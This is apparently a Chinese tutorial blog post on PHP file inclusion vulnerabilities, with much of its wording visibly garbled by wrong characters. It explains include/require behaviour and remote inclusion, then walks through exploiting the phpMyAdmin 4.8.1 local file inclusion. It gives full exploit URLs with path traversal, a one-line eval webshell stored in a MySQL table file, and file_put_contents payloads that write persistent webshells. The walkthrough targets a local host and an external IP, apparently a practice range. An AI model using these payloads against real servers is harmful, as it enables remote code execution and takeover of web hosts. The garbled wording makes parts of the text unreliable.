共计 2550 个字符,预计需要花费 7 分钟才能阅读完成。
为了避免代码反复,咱们就有了,文件蕴含。很多网页如果要用到很多同样的函数,那么咱们就能够应用这个文件蕴含函数,就防止了每个网页又去反复造轮子。
在 index.php 文件里蕴含 1.txt,而 1.txt 的内容是 phpinfo(),include 函数蕴含 1.txt,就会把 1.txt 的内容当成 php 文件执行,不论后缀是什么。1.txt 也好,1.xml 也好,只有外面是 php 代码,而后有被 include 函数蕴含,那么就被当成 PHP 文件执行。
如果蕴含的文件不存在,就会呈现致命的谬误,并报出绝对路径,然是不影响其余性能的执行,比方这里的 nf 和 123 的输入。
那么就表明 include 函数,如果呈现谬误的话,并不会影响其余性能的运行。
如果蕴含的文件不存在,就会呈现致命的谬误,并报出绝对路径,影响前面性能的执行,比方这里的 nf 的输入,前面的性能因为 2.txt 报错,导致 123 未执行。
那么就表明 require 函数,如果呈现谬误的话,会影响前面性能的运行。
只有文件内是 php 代码,文件蕴含是不在意文件后缀的。
12345.jpg 的传参值是 a,
那么咱们能够
写传参值 =file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)
而后生成一个新的 php 文件
拜访 index.php
以上咱们接触的全副是本地文件蕴含
近程文件蕴含
简略来说 近程
文件蕴含,就是能够蕴含其余主机上的文件,并当成 php 代码执行。
要实现 近程
文件蕴含的话,
php 配置的 php 配置的 allow_url_include = on
必须为 on(开启)
来咱们能够来试验一下,把这个配置关上。
“其余选项菜单”——“关上配置文件”——“php-ini”
关上配置文件,搜寻 allow_url_include 把 Off 改为 On,注:第一个字母要为大写
之后要重启能力失效。
配置开启后,咱们来近程文件蕴含一下,咱们来近程蕴含一下 kali 上的 1.txt,能够看到没有本地蕴含,所以间接显示的内容。
那咱们当初来近程蕴含一下 kali 的这个 1.txt,看会不会有 phpinfo,留神我这里是 index 文件哦,所以是默认的。
能够看到,蕴含胜利!
这里能够插一句题外话,如果是 window 服务器的话,能够让本地文件蕴含变成近程文件蕴含。须要开始 XX 配置,SMB 服务。
这里咱们能够发现,进入一个不存在的目录,而后再返回上一级,相当于没变目录地位,这个是不影响的,而且这个不存在的目录轻易怎么写都能够。
然而 php 是十分严格的,进入一个不存在的目录,这里目录的名字里不能有 ?*
号,否则报错,而后再返回上一级,相当于没变目录地位,这个是不影响的,而且这个不存在的目录轻易怎么写都能够。
实战
留神,这里 php 版本过低,会装置不上
装置好后,咱们来解析下源码
1.txt 内容 phpinfo()
来本地文件蕴含一下,发现胜利
http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt
靶场实战
先创立一个库名:nf
接着创立表:ff, 字段数选 2 个就行了
而后选中咱们之前创立好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个轻易填充。
而后咱们找到寄存表的门路。
这里咱们要传参 2 个,那么就加上 & 这里咱们找到之后传参 phpinfo
http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm
&
a=phpinfo();
因为 a 在 ff.frm 里
<?php eval($_REQUEST[a])?>
// 留神,这外面没有分号和单引号
文件蕴含
用 file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马
URL 地址如下:
http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm`&`a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’);
写入胜利后,咱们连贯这个 8.php 的木马
在线测试时这样,然而我在
本地测试
的时候,还是有点不一样的。我就间接上不一样的中央,后面的中央都是一样的
- 创立一个库为 yingqian1984,
- 创立一个表为 yq1984
- 填充表数据, 因为跟下面一样,2 个字段一个木马,一个轻易数据
- 找数据表的地位,最初我发现我的 MySQL 寄存数据库的中央是在
C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984
文件蕴含胜利
http://127.0.0.1/phpmyadmin/p……/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo();
用 file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马
http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’);
* <?php eval($_REQUEST[a])?> 留神,这外面没有分号和单引号 *
传参胜利
本文由 mdnice 多平台公布